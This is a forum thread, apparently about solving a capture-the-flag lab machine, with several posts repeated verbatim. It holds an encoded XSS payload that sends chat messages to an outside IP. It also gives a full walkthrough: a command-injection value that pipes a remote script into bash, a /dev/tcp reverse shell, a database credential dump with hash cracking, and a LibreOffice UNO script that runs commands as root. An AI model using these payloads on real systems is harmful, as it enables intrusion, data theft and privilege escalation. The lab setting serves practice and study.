[Shifter]

some hint for frank -> kai?

Look what you'll find on port 3000. Work with it. Try to become admin. There is unintended and intended way as well there.

Once inside that webapp, find out how to do RCE and grab shell.

Enumerate more, pass reusing, env variables? And that's how you will find kai.

I don't understand. I got some creds that the pass is iam....$

that is? /admin/admin.html

Where did you find that password??

[izharuge]

sorry for my noob question, i scanned the machine ip, there is http service, i registered a user and logged in with that user, after that i found the chatbox page and contact us page. I tried to put xss payload like this when I intercept with burpsuite, the result is nothing happen, can someone give me a foothold or some clue on dm ? i really stuck on this machine, sadly i dont have friend to discuss like this things.

<img SRC=x onerror='eval(atob("Y29uc3Qgc2NyaXB0ID0gZG9jdW1lbnQuY3JlYXRlRWxlbWVudCgnc2NyaXB0Jyk7CnNjcmlwdC5zcmMgPSAnL3NvY2tldC5pby9zb2NrZXQuaW8uanMnOwpkb2N1bWVudC5oZWFkLmFwcGVuZENoaWxkKHNjcmlwdCk7CnNjcmlwdC5hZGRFdmVudExpc3RlbmVyKCdsb2FkJywgZnVuY3Rpb24oKSB7CmNvbnN0IHJlcyA9IGF4aW9zLmdldChgL3VzZXIvYXBpL2NoYXRgKTsgY29uc3Qgc29ja2V0ID0gaW8oJy8nLHt3aXRoQ3JlZGVudGlhbHM6IHRydWV9KTsgc29ja2V0Lm9uKCdtZXNzYWdlJywgKG15X21lc3NhZ2UpID0+IHtmZXRjaCgiaHR0cDovLzEwLjEwLjE0LjY3Lz9kPSIgKyBidG9hKG15X21lc3NhZ2UpKX0pIDsgc29ja2V0LmVtaXQoJ2NsaWVudF9tZXNzYWdlJywgJ2hpc3RvcnknKTsKfSk7"));' />

by the way I see people here mention "dev-git-auto-update.chatbot.htb" when I try I can't access the domain. I wrote in /etc/hosts contains <machineIP> formulax.htb. how u guys access it?

[izharuge]

sorry for my noob question, i scanned the machine ip, there is http service, i registered a user and logged in with that user, after that i found the chatbox page and contact us page. I tried to put xss payload like this when I intercept with burpsuite, the result is nothing happen, can someone give me a foothold or some clue on dm ? i really stuck on this machine, sadly i dont have friend to discuss like this things.

<img SRC=x onerror='eval(atob("Y29uc3Qgc2NyaXB0ID0gZG9jdW1lbnQuY3JlYXRlRWxlbWVudCgnc2NyaXB0Jyk7CnNjcmlwdC5zcmMgPSAnL3NvY2tldC5pby9zb2NrZXQuaW8uanMnOwpkb2N1bWVudC5oZWFkLmFwcGVuZENoaWxkKHNjcmlwdCk7CnNjcmlwdC5hZGRFdmVudExpc3RlbmVyKCdsb2FkJywgZnVuY3Rpb24oKSB7CmNvbnN0IHJlcyA9IGF4aW9zLmdldChgL3VzZXIvYXBpL2NoYXRgKTsgY29uc3Qgc29ja2V0ID0gaW8oJy8nLHt3aXRoQ3JlZGVudGlhbHM6IHRydWV9KTsgc29ja2V0Lm9uKCdtZXNzYWdlJywgKG15X21lc3NhZ2UpID0+IHtmZXRjaCgiaHR0cDovLzEwLjEwLjE0LjY3Lz9kPSIgKyBidG9hKG15X21lc3NhZ2UpKX0pIDsgc29ja2V0LmVtaXQoJ2NsaWVudF9tZXNzYWdlJywgJ2hpc3RvcnknKTsKfSk7"));' />

by the way I see people here mention "dev-git-auto-update.chatbot.htb" when I try I can't access the domain. I wrote in /etc/hosts contains <machineIP> formulax.htb. how u guys access it?

Because it's not formulax.htb. Right on the top you can see dev-git-auto-update.CHATBOT.HTB

Thx reminder me, i already got user flag, i wanna do Privillage escalation, im stuck can access port 3000 for libernms , i wrote in /etc/hosts like this

 

[fooma]

./config_to_json.php

you will see kai_relay pass

I cant find this file bro

The file rests in the `/opt/librenms` directory. It appears unreadable but if you use https://github.com/librenms/librenms/tree/master as a map it helps point out many things. Unluckily it is a rabbit hole

[fooma]

sorry for my noob question, i scanned the machine ip, there is http service, i registered a user and logged in with that user, after that i found the chatbox page and contact us page. I tried to put xss payload like this when I intercept with burpsuite, the result is nothing happen, can someone give me a foothold or some clue on dm ? i really stuck on this machine, sadly i dont have friend to discuss like this things.

<img SRC=x onerror='eval(atob("Y29uc3Qgc2NyaXB0ID0gZG9jdW1lbnQuY3JlYXRlRWxlbWVudCgnc2NyaXB0Jyk7CnNjcmlwdC5zcmMgPSAnL3NvY2tldC5pby9zb2NrZXQuaW8uanMnOwpkb2N1bWVudC5oZWFkLmFwcGVuZENoaWxkKHNjcmlwdCk7CnNjcmlwdC5hZGRFdmVudExpc3RlbmVyKCdsb2FkJywgZnVuY3Rpb24oKSB7CmNvbnN0IHJlcyA9IGF4aW9zLmdldChgL3VzZXIvYXBpL2NoYXRgKTsgY29uc3Qgc29ja2V0ID0gaW8oJy8nLHt3aXRoQ3JlZGVudGlhbHM6IHRydWV9KTsgc29ja2V0Lm9uKCdtZXNzYWdlJywgKG15X21lc3NhZ2UpID0+IHtmZXRjaCgiaHR0cDovLzEwLjEwLjE0LjY3Lz9kPSIgKyBidG9hKG15X21lc3NhZ2UpKX0pIDsgc29ja2V0LmVtaXQoJ2NsaWVudF9tZXNzYWdlJywgJ2hpc3RvcnknKTsKfSk7"));' />

by the way I see people here mention "dev-git-auto-update.chatbot.htb" when I try I can't access the domain. I wrote in /etc/hosts contains <machineIP> formulax.htb. how u guys access it?

Because it's not formulax.htb. Right on the top you can see dev-git-auto-update.CHATBOT.HTB

Thx reminder me, i already got user flag, i wanna do Privillage escalation, im stuck can access port 3000 for libernms , i wrote in /etc/hosts like this

 

what is the secret to the payload i mean im doing the same thing just editing the http://<ip> part

The chatbot is a rabbit hole; Contact.html is the real path, try all fields until you get your XSS

[jonah]

for the root : sudo -l and https://www.exploit-db.com/exploits/46544 it is important to understand the python script (the exploit)

[sus11]

The chatbot is a rabbit hole; Contact.html is the real path, try all fields until you get your XSS
[/quote]

can you help with the xss?

[KillerWhale]

Finally, rooted!

[DoesntMatter123456]

Just Rooted. My Inbox limit is reached so I will post path to user and Root in this thread.

For User:

Add dev-git-auto-update.chatbot.htb to your /etc/hosts file

Navigate to http://dev-git-auto-update.chatbot.htb/ and Intercept Request and populate destinationURL as exth -c curl% http://10.10.14.X/rev.sh|bash >&2

rev.sh:
#!/bin/bash
bash -c "bash -i >& /dev/tcp/10.10.14.x/PORT 0>&1"

You will get shell on your defined PORT:
Now type mongo and you will be inside mongodb shell:
use testing
db.users.find()
You will find frank hash that can be easily cracked using john or hashcat

ssh as frank_dorky and obtain user flag.

For Root:

We need to horizontally escalate to kai_relay , to obtain kai_relay credentials you need to execute ./config_to_json.php at /opt/librenms

ssh into machine with kai_relay creds

open another terminal window with kai_relay creds

In first terminal execute sudo /usr/bin/office.sh

In second terminal execute python3 exploit.py in /tmp sirectory:

exploit.py:

#!/usr/bin/env python3
import uno
from com.sun.star.beans import PropertyValue

local = uno.getComponentContext()
resolver = local.ServiceManager.createInstanceWithContext("com.sun.star.bridge.UnoUrlResolver", local)
context = resolver.resolve("unoocket,host=localhost,port=2002;urp;StarOffice.ComponentContext")
rc = context.ServiceManager.createInstanceWithContext("com.sun.star.system.SystemShellExecute", context)
rc.execute("/usr/bin/cat", "/root/root.txt", 1)

After execution, you will get /root/root.txt content in first terminal.

[fooma]

Just Rooted. My Inbox limit is reached so I will post path to user and Root in this thread.

For User:

Add dev-git-auto-update.chatbot.htb to your /etc/hosts file

Navigate to http://dev-git-auto-update.chatbot.htb/ and Intercept Request and populate destinationURL as exth -c curl% http://10.10.14.X/rev.sh|bash >&2

rev.sh:
#!/bin/bash
bash -c "bash -i >& /dev/tcp/10.10.14.x/PORT 0>&1"

You will get shell on your defined PORT:
Now type mongo and you will be inside mongodb shell:
use testing
db.users.find()
You will find frank hash that can be easily cracked using john or hashcat

ssh as frank_dorky and obtain user flag.

For Root:

We need to horizontally escalate to kai_relay , to obtain kai_relay credentials you need to execute ./config_to_json.php at /opt/librenms

ssh into machine with kai_relay creds

open another terminal window with kai_relay creds

In first terminal execute sudo /usr/bin/office.sh

In second terminal execute python3 exploit.py in /tmp sirectory:

exploit.py:

#!/usr/bin/env python3
import uno
from com.sun.star.beans import PropertyValue

local = uno.getComponentContext()
resolver = local.ServiceManager.createInstanceWithContext("com.sun.star.bridge.UnoUrlResolver", local)
context = resolver.resolve("unoocket,host=localhost,port=2002;urp;StarOffice.ComponentContext")
rc = context.ServiceManager.createInstanceWithContext("com.sun.star.system.SystemShellExecute", context)
rc.execute("/usr/bin/cat", "/root/root.txt", 1)

After execution, you will get /root/root.txt content in first terminal.

Never thought ./config_to_json.php as executable; lol --> Great loophole by the way.